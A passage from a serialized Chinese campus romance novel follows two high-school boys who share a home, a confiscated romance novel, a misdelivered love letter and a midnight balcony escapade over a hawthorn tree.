但她终归是不太担心的，因为姑姑去世了大半年，司云起也独自生活了大半年——
黄侯在年前某个夜晚，曾接到过一个电话。
窗外鞭炮齐鸣，烟花闪耀，孔明灯载着人类的美好愿望飞到远方，家家户户灯光长亮，街道里欢声笑语，所有人都在期待着新年的到来。
电话那头的声音却苍老无力，喊她：“小侯。”
这是隔了十几年没听到的声音，黄侯顿了很久，试探着问：“姑、姑姑？”
对面“诶”了一声，嗓音很弱，“小侯，有件事情，想请你帮个忙。”
黄侯就这一个姑姑，小时候一直和她很亲近，有次放学回去，见姑姑带了个婴儿。
她很好奇，问这孩子哪来的。
她姑姑看着襁褓里的孩子，目光中满是心疼，沉默了很久，说：“捡来的。”
黄侯惊讶的同时，想刨根问底，但一转头，看到姑姑眼睛里噙满了眼泪。
那是她第一次见到姑姑哭，忙着安慰她，就忘了问从哪捡来的。
是个小男孩，姑姑说叫“司云起”，这个姓也够奇怪的，毕竟他们家里没姓这个的。
黄侯拍着姑姑的背，轻声安慰她，心想，可能是捡来这孩子的时候身上带着名字吧。
但姑姑就一个女儿，丈夫也早早去世了，和女儿许凡君的关系寡淡得很。据说是因为前两年许凡君要去娱乐圈闯荡，姑姑不同意，她们大吵一架，后来许凡君没再回来过。黄侯倒是偶尔在电视上见过几次许凡君，不算火，但也有些曝光。
有了这么个孩子在身边，也算是件好事吧。
记不清司云起几岁，好像是五岁，还是更小的时候，姑姑突然卖了房子，带着他搬了家。
直至如今十几个年头过去，她已经成了本市最好的中学高三组的老师，许凡君也越来越火，她始终没有姑姑和那孩子的消息。
突然在这么个凡世都在团圆的节日前夕，她接到了姑姑的电话。
姑姑问她还记不记得那个从小就不怎么爱说话的孩子，她说记得。
自姑姑问出这句话时，她就隐隐有了个预感。
她以为姑姑是在弥留之际把司云起托付给他，再怎么算，这孩子大概也才十六七岁。
但姑姑声音轻的几乎叫人听不清，却一个字一个字说的那样坚定。
“云起这孩子独立，我让他年后带着我回老家，让他也留在那，留在……她们从小生活的地方。”
“你不用管他吃住，就是拜托你，给他找个学校，让他、让他……”
老人突然剧烈地咳嗽了几声。
黄侯声音哽塞，把话替她说完：“姑姑，我会把云起转来我带的班，会让他考上好大学的。”
“不是，”老人说，“不是考好大学……”
黄侯怔怔听着，有万般不理解。可面对这风烛残年，每说一个字都费力的老人，她又不敢多问。
最后，老人再次恳求：“小侯，这些年我带着云起，断了和你们的来往，实属无奈之举，你多担待。再相见时，你不必对他照拂。只盼你督促云起，让他走上我替他选择的路……也算是，圆了我们的遗憾……”
……
那通电话挂断后，再相见，是司云起带着老人魂归故里。
黄侯匆匆见了司云起一面。
这孩子眉眼锋锐，明明也还不大，那几分少年稚气却丝毫不显。
黄侯觉得司云起性格太闷。
可下一秒，她看到司云起拿着姑姑的照片，又突然涌上一阵悲凉。
司云起在这世界上唯一的亲人，去世了。
自此他就要一个人了。
思及此，黄侯想多和他说几句，但忙来忙去，终究是没顾得上，司云起又不见了。直到这个夏天，她带的班升高三即将开学，才见到了司云起。
她没有司云起的联系方式，也不知道他这半年是怎么过的。找他要上一个学校的成绩单时，发现进度只停留在去年冬天。
也就是整个上半年，司云起没有上学。
那一刻她看着司云起，按理说这孩子还要叫自己声小姨，可她们太生分了。
她实在不知道要说句什么。
沉默了很久，她开口：“云起，我会抓好你的文化课成绩，别的……”
司云起垂下眼眸，眉心很轻的皱了一下。
像是在做挣扎。
须臾，他眉头舒展，终究还是外婆弥留之际的遗愿占了上风。
他说：“好。”
……
司云起这孩子性格太过寡淡，一开始她真的很怕他在班级里处不来，还暗中观察了几天。
前两天听他和季杭有矛盾时，着实担心过。
结果她现在知道，司云起就是租在了季杭家。
那这俩人装不熟，一天天装什么呢，还整出个摩擦出来。
季杭爸爸是个顶好的人，黄侯知道。既然司云起住在他家里，那和他聊几句司云起，让他平日里多关注司云起几分也是好的。
“季杭爸爸，既然如此，这俩孩子的问题，我就一并给您说了吧。”
季满谦回头看了一眼，点头说：“好。”
先说季杭。
黄侯把扣留的手机拿出来，给季满谦。
“这孩子，上课玩手机？”季满谦皱眉。
下一秒，黄侯把封皮花哨的书拿出来，“这也是季杭的。”
季杭撇开脸：“……”
司云起倒是一眨不眨地盯着那本书，视线比季满谦和黄侯的都要凛冽。
封皮上有一栏最显眼的大字推荐，是文名和作者。在短短几秒里，被他的目光反复凌迟。
“他上课、他上课还看课外书？”季满谦道。
黄侯：“我翻了翻，这里面都是爱情故事。”
季满谦拿过这本书，也翻了翻，抬头时声音都变了调：“黄老师，季杭看课外书，看的还不是武侠和动漫，而是言情故事？！”
黄侯被他传染的，也觉得怪，边看季杭边说了声：“是。”
季杭闭上眼：“…………”
“还有这手机，”黄侯说，“季杭你把它打开，让你爸爸看看你上课都在玩些什么。”
季杭绷着下巴解锁，无比庆幸已经把知乎切走并删除了。
不然他们前一秒质疑自己看言情虐心故事，下一秒看到自己的手机屏幕上的知乎问答。
他真的就不活了。
屏幕在四个人的注视下亮了。
季杭本来松弛的表情，在看清屏幕的一刻刷的僵硬——
屏幕上正显示着系统提示：
【卸载“知乎”】
下一行：
【卸载后其所有数据也将被删除】
？？？
知乎你怎么还水灵灵的待在我的屏幕上啊！！！
眼看着另外三个人都露出奇怪的表情，季杭猛地夺回自己的手机，点击确定。
亲眼看着知乎消失。
没事的，今天如果非得有一个死在这里。
一定是他！
绝对不可能是手机！
黄侯果然生气了：“季杭，你什么态度！”
季杭慌的不是很明显：“我把系统提示关了，更方便你们查我在做什么。”
黄侯：“得了吧，我站你身后都看到了，你还当我什么都不知道啊。”
………？？？！！！
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季杭话都说不利索了：“你、你、你知道……”
季满谦：“怎么跟老师说话呢。”
季杭面如死灰：“您、求您了……”
在我爸…
在司云起面前…
给我个全尸吧……
黄侯不紧不慢道：“你那会儿——”
季杭一点点去世。
“找作文抄呢吧。”黄侯瞪着他。
？
季杭诈尸了。
“我都看到了，密密麻麻的小字，这事儿我不会给你瞒，一定会告诉你语文老师的。”
季杭彻底活了。
“告告告，您告，”季杭忙不迭。
说完季满谦和黄侯都瞪着他，目光不善。
季杭：“我没闹脾气……”
季满谦：“你还敢闹脾气？”
季杭：“……”
心是彻底放下了。
因为黄侯和季满谦的话题已经转移到了司云起那儿。
黄侯：“其实云起本来没什么事儿的，他就是早上迟到了。”
“这样啊，”季满谦说，“我这工作，有时候晚上不在家，我尽量多督促他们。”
“但是，”黄侯话音一转，“他早自习，无视校规校纪，跑到教工餐厅去打饭，被教导主任抓住了送到我面前，手里还拿着饭！”
季满谦：“……”
“他说他太饿了，”黄侯说，“季杭爸爸，你说说这孩子，是不是过分。”
“确实是，”季满谦着实没想到自己难得被叫回家长，竟然是这么个原因。
他很是无奈：“黄老师，回去后我一定多管教。”
“他们两个都是好孩子，”黄侯对后面站着的俩人说，“你们先回教室吧，我们再聊聊。”
季杭和司云起并肩走出去，心里的石头落了地，季杭轻松的很。
放学后，曹书望拉住季杭，“陪我去趟书店，我今天被数学打击了，我要买两套卷子，猛抓题型。”
“行吧，”季杭叫司云起，“一起去吧？”
到了书店后，季杭帮着曹书望挑了三套，去结账时，看到司云起站在书店最里面那列。
他走过去，问：“你挑好了吗？”
司云起扫了他一眼，又看向书架上花花绿绿的书，淡声道：“你不买本言情小说？”
季杭：“……”
回到家后，季满谦已经做好了晚饭，他们吃完就各自回房间写作业。
写完后，季满谦把两个人叫到客厅，又准备了一顿饭给他们。
“饿的差不多了吧？再吃点儿，”季满谦看向司云起，“尤其是你，云起。”
司云起顶了顶腮：“……谢谢叔叔。”
这顿吃完实在是撑，也过了十点钟，外面的热减轻了很多，季杭问司云起：“去散步吗？”
司云起：“你有时间？”
季杭：“？怎么？”
司云起：“不看言情小说？”
季杭：“…………”
隔了四五天。
某天下课放学，季杭在看作文范文，他喊了司云起一声：“等我一下，我看完这篇咱就走。”
两分钟后，他合上报纸，起身，撞到一直站在他身后的司云起。
“你怎么站这儿不出声音啊。”季杭被卡在司云起和凳子中间，还是适应不了离司云起太近，直接侧跨过凳子，问。
“好看么。”司云起说。
季杭：“什么？哦，还行。”
“比《失去你的一年四季》呢。”
“？？？”
司云起补充：“作者是北北。”
季杭更摸不到头脑了：“什么？”
司云起盯着他，过了几秒，友善提醒：“上周，你被没收的言情小说，封面推荐的那篇，北北写的《失去你的一年四季》。”
才过了一周这人就记不清了，看来不怎么样。
季杭连书都没翻开过，封皮都没司云起看的仔细，哪里记得住！
“……司云起，”季杭咬牙切齿，“我！真的！没看！”
良久，司云起“哦”了一声，“没来及看那篇是么，那别的呢。”
季杭：“！”
神经病！！！
70.我没啊
高一高二开学了。
原本提前开学的高三生不用上晚自习，现在都步入正轨，晚上四节晚自习，十点五十下课。
最近几天路柯有点儿不对劲。
天天神神叨叨的，每次喊着曹书望或者季杭上厕所，非得要穿过连廊去前面那栋楼。
多走路不说，关键是那栋楼课间人也不少。
又一次课间，路柯喊：“季杭。”
季杭头也不抬：“不去。”
路柯又喊：“书望。”
曹书望抬了下头：“不去。”
“每节课课间你都要去厕所，”楚云都忍不住了，回头看他，“你喝水很多？还是哪里有问题？”
班长李锐叹了口气，“你每次上厕所也太慢了，要么卡着上课铃进来，要么老师都站讲台上了你才进来。这两天去办公室，皇后问我你怎么回事不下三遍，你注意着点，我快兜不住了。”
曹书望对着路柯吹了声口哨。
“你怎么还幸灾乐祸呢，”楚云转向曹书望。
“我可没，”曹书望道，“他没多喝水，身体也没问题。他啊，是心飘远了。”
“？”
“？？”
“？？？”
路柯罕见的脸红了。
曹书望：“本来想给你们讲讲的，但这事儿我也不好说。”
“什么事儿？”楚云问。
“啥呀啥呀，”一群人八卦起来了。
路柯抿着笑，视线下垂着晃，过了半分钟，不大好意思，说：“就有个刚入学的高一妹妹。”
“呦呦呦，”曹书望起哄，学着他的调，“高一妹妹～”
“他们开学那天，大课间我不是帮体委他们一起搬书去了吗。搬完后遇见个拉着行李箱的新生。”
“然后呢？”楚云问。
“她那行李箱好重哦，看她实在是费力，我就帮了帮她。”路柯洋溢着幸福，“那天宿管阿姨查的不严，我帮她把行李搬进宿舍了呢。”
“呦呦呦。”
路柯从裤子口袋里拿出来个很可爱的钥匙扣，“这是高一妹妹给我的谢礼。”
“这下知道了吧，”曹书望说，“人呢，本质都是懒惰的，他放着咱们这栋楼的厕所不去，节节课跑到隔壁楼，你们还真以为他傻呀。还不是因为爱，爱能让人违反懒惰的本能，去——”
一堆人八卦的目光刹那间收了回去，各自转回各自的书桌。
曹书望暗道不妙。
果然，黄侯站到他身后，嗓音幽幽：“来，继续说说，爱能让人违反懒惰的本能，去什么，继续啊。”
曹书望：“去做一套又一套的数学卷。”
他拿起自己前不久买的题，转脸笑得谄媚，“娘娘你看我多爱数学。”
黄侯轻哼了声，饶他一命。
这下班里的人几乎都知道路柯喜欢某个高一新生了。
有人起哄，路柯就越来越胆大。
过了两周，他决定送情书。
“学委，我的好学位，”路柯求道，“你帮我把这情书送出去嘛。”
楚云拒绝的干脆：“你果断点，要么自己去，要么就别去，叫别人递情书算什么。”
“我紧张啊，”路柯说，“我要是到时候手抖说不清话不就完了吗，还得是你们帮我，顺便再夸夸我。”
“想得美，”楚云说，“你就是觉得我是女生，更能拉进那个高一妹妹的距离。我才不，要拉好感你自己去拉。”
路柯：“……”
转而看向另外的女生，但她们很赞同楚云的话，连眼神都不给他。
“书望…”路柯可怜兮兮，“我只有你了。”
“这事儿真不行，”曹书望说，“我这还追着肖蕊呢，替你去给别人送情书，万一被别人看见误会了，多不好解释。”
路柯眼神锁定季杭，“季杭，我只有你了……”
季杭：“……”
“我帮不了，”季杭说。
“为什么，”路柯问，“你又不和书望一样需要避着人。”
季杭下意识看了眼司云起的座位。
幸好这个课间司云起被皇后叫走了，季杭稍稍安心点，说话也没什么顾忌。
“我也得避着啊，”季杭一脸正色，“我有喜欢的人这件事儿，你不是知道么。”
路柯：“……关键那人是谁啊，是谁你又不说，不是这学校的也有可能。”
季杭仗着自己最后一排最后一个，前面的人没在，旁边的人也没在，他悠闲道：“就咱们学校的啊，还和咱们一班。”
“？”路柯：“你说什么？”
“我说我不能帮你去送啊，”季杭重复。
“下句下句。”路柯催促。
再说一遍？
其实季杭刚承认的时候就有点暗爽，就像是青春里的情愫躁动，口是心非，生怕喜欢的人知道，又生怕他不知道。
能这么说出来一次，季杭觉得有点满足了。
现在路柯又催他，季杭轻咳一声，端着一副坦然的姿态：
“我喜欢的人就在这班里啊。”
说完季杭两只手悄悄交叠，边摩挲边回味。
哎呦，说出来还有点爽怎么回事。
路柯震惊：“真的啊。”
季杭笑。
嘿嘿，有点爽。
下一秒，路柯视线上移，对上凌冽的目光后，不自觉抖了一下，“拽哥……不是，云起。”
拽哥，今天谁惹你不高兴了，你的眼神能杀个人。
季杭倏地一下坐直了。
他回过头，视线自下而上，对上司云起的。
……嘴角挂着的笑收了回去。
不嘿嘿。
被司云起听到了！季杭心里警铃大作，完了，司云起不会察觉出来吧！
他要是察觉到，会不会！会不会不能接受，然后搬走啊！
绝对不行！
司云起还有那么多东西，丢了多可惜！
而且！
而且他们还有合住后的共同财产，山楂树。
要搬走了，山楂树判给谁啊！
“刚说什么？”不知道为什么，司云起声音像是淬了层冰。
季杭更慌了，不会是从自己的话里察觉到了吧，要不然声音为什么这样！
“他刚才说——”路柯解释。
“帮你，”季杭猛地站起来，抓住路柯的手，嗓音甚至有几分发颤，“我帮你送，你去拿，我帮你……”
路柯喜出望外，转身去拿。
季杭转过身，无力地解释：“没、没说什么。”
幸好司云起没追问，看着他回到座位，季杭靠着墙，长长地呼了一口气。
路柯很快把情书送了过来，但白天不行，白天太引人注意，而且每间教室外面都有老师的桌子，方便学生下课问题。课间人太多了。
所以只能到晚自习下课。
鉴于路柯提前知会过，这晚女生要值日，所以要季杭多等一会儿。
季杭慢吞吞地收拾着东西，教室里的人都走完了，就剩下身后的司云起盯着自己。
季杭如芒在背，想和他说自己要去帮路柯送情书时，司云起先开口问。
“楚云？”
季杭不明所以：“啊？”
这人表情没变，所以不是。司云起又问：“何悦？”
季杭更懵懂了：“啊？”
司云起
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连着把班里的女生都说了一遍，季杭一次比一次懵。
但看他这反应，感觉哪一个都不是。
司云起咬了咬牙，又说出一个名字。
“曹书望？”
季杭：“？他咋了？”
算了，不太可能，这人都不喜欢自己的触碰，应该不会喜欢男生。
司云起看着他，漠然道：“走吧。”
被司云起堵在教室里问了一通，季杭百思不得其解。
他看着司云起转了身，忍不住问：“司云起，你这是……”
司云起脚步顿住，回头看他，脸色一直带着几分不爽，但此刻又莫名多了几分期待。
季杭就在他别扭的情绪中开口问：“背班级花名册呢？”
司云起那几分期待倏地没了，木着脸。
季杭又问：“为什么只背女生的啊。”
你果然…喜欢女生吗……
司云起脸更木了。
季杭这个骗子。
不是说喜欢的人在这班里么，他把名字说了一圈，这人也没反应。
还问为什么只背女生的，他倒是想把这年级所有的女生都问一遍，但他怎么记得住。
他转过身，“回家。”
季杭有点失落，下楼后才想起情书忘了送。
正巧这时候司云起手机振动，他看着屏幕，隐隐有几分不耐。
季杭抱着让他单独打电话的心思，说：“你在这等我吧，我上楼一趟。”
说完后他上楼去送情书，谁料到司云起这家伙，压根就没接那通电话。
季杭找到那个女生的班级，在门口看了看，他不记得名字，但之前见过，很容易就找到了。
等女生拿着簸箕走向门口时，季杭从书包里拿出情书，递上去：“同学，这是……”
教室里的几个人“唔”了声，但季杭没在意。
他声音之所以停下来，是因为身后有个异常冰冷的声音。
“季杭。”
这个声音来自于司云起。
司云起还以为他是忘拿了什么东西，结果跟上来见这人是悄悄来表白送情书的。
说的那句喜欢的人和他一个班级都是幌子是吧。
那一刻，有种病态的执着占据了司云起的意识。
他突然反应过来，在季杭将杂七乱八的东西都搬进他房间时，他其实并没有过心。如果他想走，那些东西还是会被毫不留情地扔掉。
他反而长久地盯着季杭，潜意识里将季杭视为了所有物。
因为这个人不好带走，也不能扔掉。
所以他才不会搬走。
起码在自己能将眼前这个人牢牢锁住之前，他不会离开。
他从来没握紧过什么，唯一有想要的，断不能眼睁睁看着这人离自己远去。
意识到这点后，他快步走过去，不给季杭解释的时间，一把拿过这人手里还没送出去的情书。
紧接着，他对女生说：“不好意思，他走错了。”
女生诧异地看着司云起一手捏着情书，另一只手紧紧攥着季杭的手腕，硬拉着他离开。
女生原地怔着：“刚才…发生了什么？”
被拉到一楼的季杭也不知道。
他就觉得手腕很疼，被司云起钳制着，挣也挣脱不开，一路被他拉到一楼。
司云起停下脚步，身后的季杭一时没防备，撞到了他的肩。
季杭“哎呦”一声，空着的手摸了下自己的肩，又想去解救另一只被困的手，没得逞。
司云起力道丝毫不减，眼皮绷着：“季杭。”
季杭还没来得及说话。
司云起盯着他，发号施令：“你不许喜欢她。”
71.【标题不易，作者叹气】
季杭懵懂：“我没喜欢她。”
情书快被司云起捏碎了。
季杭视线下移，恍然。
“这不是我写的情书，是路柯的，我只是帮他送过来。”
司云起看了他几秒，又冷漠地看了眼情书封面。
他倒是不会打开验证是谁写的，但也没还给季杭。
一路沉默着回到家，季满谦等在客厅，听见门打开，连忙转头：“你俩今天怎么回事，比前几天晚多了。”
结果这两个人，都说自己不饿，一人一个方向，各自进了房间。
季满谦：“？今天学习太累了？你俩现在不吃，明天早自习可不许去教工餐厅打饭啊！”
两扇门同时被关上，季满谦这才咂摸出来几分不对。
这俩孩子，不像是学习上有不顺心，反倒跟闹了别扭似的——
其实不然。
回家的一路，这俩人就没说话。
司云起把情书装进书包里，准备第二天把情书还给路珂，让路珂自己去送。他才不要让季杭掺和这些事。
而季杭本来还奇怪于司云起的反应，在看到他把情书放进他自己书包里时突然想明白了。
司云起愤怒地夺走情书，还对自己说不许喜欢那个女生，现在就算知道情书是路珂的还是被他留着…这，这是不是证明司云起也喜欢那个女生……
季杭瞬间就难受极了，饭也不想吃，觉也不想睡。
翻来覆去到半夜两点，季杭还是睡不着。
大抵是半夜不睡觉乱想的人都会染上神经病，季杭思维已经散到司云起结婚时的景象了——
他站在人群里，什么也阻止不了，可周围都是人，他不能哭。最难受的时候，他离开人群，扶着一棵树任由心脏细细密密地疼。
突然，树上掉了个东西，季杭定睛，在泪光中看清楚，是一颗山楂……
山楂！
季杭猛地弹起。
司云起卧室阳台上的山楂树，是他们一起栽下的，是共同财产，凭什么要出现在司云起的婚礼上！
季杭神经病更甚，他踱着步子在房间里走了几个来回，决定把山楂树搬回自己房间，并且心里还酸酸的，心想自己和山楂树是先被抛弃的一方。
可是大半夜的，司云起早就睡了。他房间的门应该没锁，但阳台的推拉门非常拉垮，一动就响。偷偷从房间里把山楂树搬走肯定会吵醒司云起。
也得亏是半夜。
只有半夜人才容易上头，做出不清醒的事情。
季杭打算去楼下，搬上楼道里那把闲置的梯子爬上三楼，从司云起的阳台上搬走山楂树。
结果他刚关上门下楼，住二楼的男人喝完酒回家，见着他问：“小杭，干什么去？”
季杭要是实话实说，显得他精神状态很美丽，他正想扯个谎，突然想到，从这叔叔家的阳台去楼上更轻松啊。
于是他跟着男人回了家，说自己钥匙没拿。男人喝了酒，也没仔细分辨他话里的漏洞，热心地给他拿椅子，说：“得亏我家空调外机安的地方好，你能踩一脚，要不你还真不好上去。”
季杭：“我就不踩了吧……”
男人：“结实的很，你怕啊，那行吧，我托着你。”
在男人的帮助下，季杭顺利扒住三楼阳台的边，双臂用力一撑就上去了。
他不忘探头朝下轻声喊：“叔叔，谢谢你，到时候请你吃山楂！”
男人：“好嘞！”
等会儿，为什么请吃山楂？那玩意儿酸牙酸嘴的，不好吃。
阳台的推拉门关得很紧，窗帘也拉着。季杭看不到里面，但知道司云起肯定已经睡熟了。
他抱起山楂树，决定以后自己抚养它长大，看着它开花结果。
但很快，他意识到一个问题。
怎、么、回、去、
梯子。
没有。
楼下叔叔。
怎么叫，一叫把司云起也吵醒。
一番折腾后，他终于不神经病了，但这个处境……
既来之则安之。
季杭坐在地上，靠着推拉门，夜晚还挺凉快，就在这睡吧。
无非就是早上司云起打开窗帘时见到自己，大不了自己装梦游好了。
他抱着山楂树，身后不远的地方是熟睡的司云起。
很奇怪，这次很快他就被困意席卷了。
卧室的床上，司云起坐着，目光落在某一处。
外面月光很亮，他一直没睡着，突然，听到阳台有声响。
小偷？
他坐起身想走出去，却在月光的映衬下，清楚地看到外面那人的身影。
那人先是僵直地站了半分钟，然后抱起山楂树，又原地愣着。
司云起目光一眨不眨，过了会儿，那人抱着山楂树贴着推拉门坐下来。
窗帘很旧，薄薄的布料掩不住任何。
那人的一切举动都被笼在月光之下，他瘦削单薄的背靠在门上，头左右摆了几次，然后越来越倾向一边。
司云起朝着那人的背影抬了下手，心底一片柔软。
季杭在困意朦胧中听到吱呀一声，随后有个阴影挡在自己眼前。
他还没睁开眼睛，抱在胸口的山楂树突然被抽走，紧随着，他被拦腰抱了起来。
“司云起……”季杭蹙着眉心，还没彻底醒过来，迷迷糊糊的，说：“山楂树不可能判给你的。”
司云起闻言，轻挑了下眉，把人放在自己的床上。
他转身时这人还要起来。
于是他反手把人摁回床上，声音强硬，动作却很轻，说：“睡觉。”
顿了几秒，他补充道：“困成什么样了，就在这睡。”
季杭眨了几下眼睛，觉得自己在做梦。
他闭上眼睛，心想，这应该是睡司云起阳台的福报，都能梦到上他床了。
在他意识再次模糊之前，身侧的床塌了一下，有道声音传进耳朵里。
“想要山楂树么，我不会把它给你的。”
司云起凝视着这人的侧影。
看样子他是过来偷山楂树的。这么喜欢山楂树么，那偏不能给他。
山楂树要留在自己身边，这人才会常常想着自己。
司云起把薄毯盖在他身上，十几分钟后也睡熟了。
季杭再醒的时候，身为起床困难户，先是按照惯例在床上滚了几圈。
但最后一圈他察觉到不对劲。
怎么感觉滚到人身上去了啊。
季杭眯开眼——
像个绷紧的弹簧一样飞开了。
他刚才！压在！司云起身上了！
季杭缩在床沿，手里攥着薄毯不松手，惊恐的看着司云起。
“你怎么在我床上！”
他余光瞥见房间构造，很快就改了口：“我怎么在你床上！”
司云起：“……”
司云起下床去洗手间洗漱，季杭回忆半夜，这才发觉自己被司云起抱上床不是个梦。
他正想滚回自己房间，又发现自己有点不对劲。
他……
洗手间门并没有关，司云起担心漏听这人说什么，没想到却看到这家伙，裹着自己的薄毯光着脚急匆匆走了。
？？？
然后这天早自习，司云起等季杭等的，他们又一起迟到了。
一整个教室，又差了左右两侧
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的最后一排。
季杭和司云起甚至连门都没进，很自觉地站在教室外面。
黄侯在教室里盯了十来分钟，出去的时候看见后门站着的两个人，气道：“进教室拿书，外面站着写。”
季杭拿了本化学，出去后见司云起盯着他手里的书。
“没拿言情小说？”司云起问。
“……”季杭拿着书越想越凄凉，他愤愤回怼：“我、我什么情况，我需要看言情小说么！”
季杭说完后又委屈又不想理人，自己喜欢的人都是司云起了，用得着看言情小说么。倒是司云起需要看吧。
偏这话被司云起听去，就理解成了另一个意思：我和我喜欢的人都能写一篇言情小说了，哪还需要看别人的。
司云起掀起眼皮，季杭已经赌气地走向前门了。
他也跟过去，站在季杭身边，从口袋里拿出一个面包。
“吃了。”司云起说。
季杭：“不吃。”
司云起直接把袋子撕开，正要喂给这人时，黄侯突然出现，一双鹰眼捕捉到司云起手里的东西，立刻快步走了过来。
但她在拐角处遇到个老师，两个人打了声招呼，就在这短短几秒的时间里，司云起掰了块面包塞进了季杭嘴里。
季杭诧异地看向他。
司云起垂眸看着他微张的嘴唇，撤开手时蹭了下他的嘴角，说：“吃了，省的低血糖。”
季杭的心跳忽然又乱了。
黄侯走了过来，盯着司云起问：“早自习能吃东西？”
司云起：“不能。”
黄侯：“那你拿面包给鬼吃呢？”
季鬼生生咽下面包，干涩又困难，道：“没吃，他就是放在口袋，刚摸出来了。”
黄侯确实没看到他们两个有人吃，但又觉得第一眼看到的面包好像是完整的……
“早自习你俩继续在外面站一周，上一周刚站完又不老实了，”黄侯叨叨了几分钟才放过他们。
下课后路珂第一个冲出来拉住季杭，询问情书的结果。
半分钟后，他不可置信道：“你说我的情书被拽哥拿走了？？？”
季杭：“……确实是这样。”
路珂：“你帮我要回来啊！”
季杭：“……我试试。”
路珂刚走，曹书望又搂了过来。
“杭，你觉没觉得司云起很不对劲？”
季杭在心里叹了口气。
看着季杭的表情，曹书望道：“果然你也这样觉得！我就说嘛，他也太反常了。”
季杭问：“你和他又不熟，你怎么觉得反常。”
曹书望：“你说什么呢，我说群里的事儿。”
“嗯？群里什么事儿？”
“班级讨论组，你自己打开看看吧，”曹书望说。
季杭挑了个没人的楼道，打开手机后，看到昨晚自己因为烦躁没看的消息。
【王洋：兄弟姐妹们，拽哥今天很奇怪。】
【曹书望：怎么个奇怪？】
【王洋：他今天下午突然问我叫什么，然后他拿出成绩单，指着咱班的人名说，让我把所有女生的名字圈出来。】
【楚云：？】
【路珂：？】
【曹书望：？】
【何悦：？】
【？+1】
【？+10086】
……
季杭回想起司云起当时念的一连串名字，突然跑回教室拿出最近的一次考试成绩单。
和印象中对比了一下，发现司云起当时念名字的顺序和成绩单上女生的排名一样。
？
所以他当时到底是在干嘛？
72.传薯条
路柯课间去看心仪的女孩，被司云起拦住了。
情书还在司云起手里，路柯想自己要回来，正要张口，情书就被塞回了手里。
司云起冷淡地看了他一眼，“你自己去送，别牵扯季杭。”
“……好吧，”路柯把情书放进口袋，往前走的时候见司云起也挪了下脚步，还是挡在他前面。
？
“拽哥你干嘛？”
司云起冷不丁问了句：“喜欢是什么感觉？”
路柯：“……拽哥你？”
等了几秒，司云起失了耐心，又问了遍：“你不是有喜欢的人么，喜欢一个人是什么感觉。”
歪日。拽哥问这个！
这家伙问出来这个问题，证明他有喜欢的人了？
这个认知比季杭喜欢谁还要让路柯八卦，短短几秒里他想了很多很多。
想司云起喜欢的人会是什么样，想司云起会怎么和那人说话。
毕竟司云起可不是个能好好说话的人。
“这个问题，”路柯沉吟，稳重道：“你怎么不去问季杭？他也有喜欢的人。你们两个更熟，交流起来……”
话没说话，司云起不耐烦地打断了他的话。
“去问他？我是有病还是想不开。”
什么人也做不到听着喜欢的人说他喜欢别人是什么感觉吧。
路柯嘴巴张成O型，问：“你们两个吵架了？”
“没有，”司云起催促，“你说不说。”
“好吧好吧，”路柯左右看了看，“拽哥，咱换个安静点的地儿行不？”
换了个地方，路柯在司云起越来越没耐性的目光中，说：“拽哥，喜欢一个人就是觉得她哪里都好，总想看到她，又想能吸引她的注意力。”
“还有呢。”
“平时注意不到自己的心跳吧，但当你知道即将要见到她时，你的心跳会控制不住的加速，感觉格外鲜明。”
“然后呢。”
“还有吃醋，你看到她和别的异性走得近时，会吃醋。”
司云起若有所思。
路柯试探着说：“拽哥，你也会有喜欢的人啊。那人怎么样？”
司云起没回答，转而问：“怎么追人？”
“？！”路柯瞪大眼睛，“你你你、这就要开始追了？”
司云起嗯了声，看向他的口袋，“追人必须要写情书么。”
“那倒不是，”路柯捂住情书，“我是怂包，见着她就结巴。不过追人根本就是投其所好，你们有了共同兴趣，她就会关注你多点，你再对她好点，凭你这张脸，只要说话不出大问题，应该能追到。”
“什么叫应该。”司云起皱眉。
路柯：“啊？追人就要承担被拒绝的风险啊。”
还要被拒绝。司云起心想，想留一个人在身边这么麻烦么。
那还追什么，强硬地把人留在身边就好了。
“拽哥，”路柯说，“你可别太激进，不然很容易引起反感的。”
司云起眉心彻底皱紧了，想起季杭对自己触碰的躲闪，又想起早上从一张床上起来时季杭的慌张。
他又问：“要是已经引起反感了怎么办。”
……拽哥您，好样的。
“补救吧，在相处中让她知道你不是她讨厌的样子。或者……”
“什么。”
“或者，物极必反？”路柯也不知道自己怎么冒出来这么个词，他本来想说别的，结果自己说完这四个字之后，拽哥好像真听进去了。
物极必反。
事情发展到极端，便会往相反的方向转化。
那季杭反感自己到一定程度，是不是也会适应，并且开始喜欢自己。
司云起转身就走。
路柯在后面喊了两声，没叫住。他挠了挠头，有点后悔。
他刚脱口而出的四个字，没准会成为压垮拽哥爱情的最后一根稻草。毕竟哪有正常人会喜欢一直强迫自己的人啊！
司云起回到教室，在进教室之前，他知道很快就要见到季杭了。
心脏的跳动真的在那一刻明显起来。
他走过后门，短暂地看到季杭的背影。又特意绕到前门，既为了看这人的正脸，也为了让这人看到自己。
结果他出现在前门，季杭正专心地和曹书望下五子棋，眼皮都没抬一下。
司云起顿时不爽，站在讲台上最显眼的位置，依旧没能吸引季杭的注意。
他转过身，看到还没擦的黑板，拿起板擦在黑板边上重重地磕了几下，旁边有人路过，问：“这是干嘛。”
司云起面无表情，继续盯着最后一排的埋着的头，说：“粉笔灰太多。”
又走进来两个人，楚云看了一眼黑板，立刻杵身边的人，“如星，今天不是你轮值吗，黑板。”
方如星立刻把手里拿着的试卷放在桌子上，看到拿着板擦的司云起。
班里的一群人就在这时开始起哄。
方如星不大好意思，拿起另一个板擦，“我自己来就好，谢谢你。”
司云起放下了板擦，语气没什么起伏，“没事。”
说完后看向季杭时，终于对上了他的视线。
五子棋还铺在课本上，季杭撇开眼，心底一阵酸麻。
这人怎么又不看自己了，司云起皱眉，要走向他时，忽地注意到刚才方如星放下的试卷第一张是季杭的。
他顺手拿起试卷，没留意，多拿了几张。
有几个后排看热闹的人悄悄起哄，说司云起帮方如星发卷子。
季杭听到后，悄悄攥紧拳心，克制着自己表情的失态。
但下一秒，五子棋上面被压过来张试卷。季杭抬眸，看到司云起垂下手，俨然没有要继续分发的意思。
“你的试卷，”见他没反应，司云起特意强调，“我给你拿过来了。”
“……”季杭怔怔，“谢谢？”
司云起才不是要听这句谢，他瞥了眼曹书望，又看向季杭，“和我下。”
“哎呦，”曹书望看着他的手，“你试卷都没发完。”
众目睽睽之下，司云起把剩下几张试卷放了回去。
季杭：？
曹书望：？
刚才起哄的人：？
不懂就问，这哄还起吗。
“诶不是，”曹书望问，“你都拿手里了，帮忙发了呗，怎么还放回去。”
司云起走到季杭旁边，很自然道：“名字和人我对不上。”
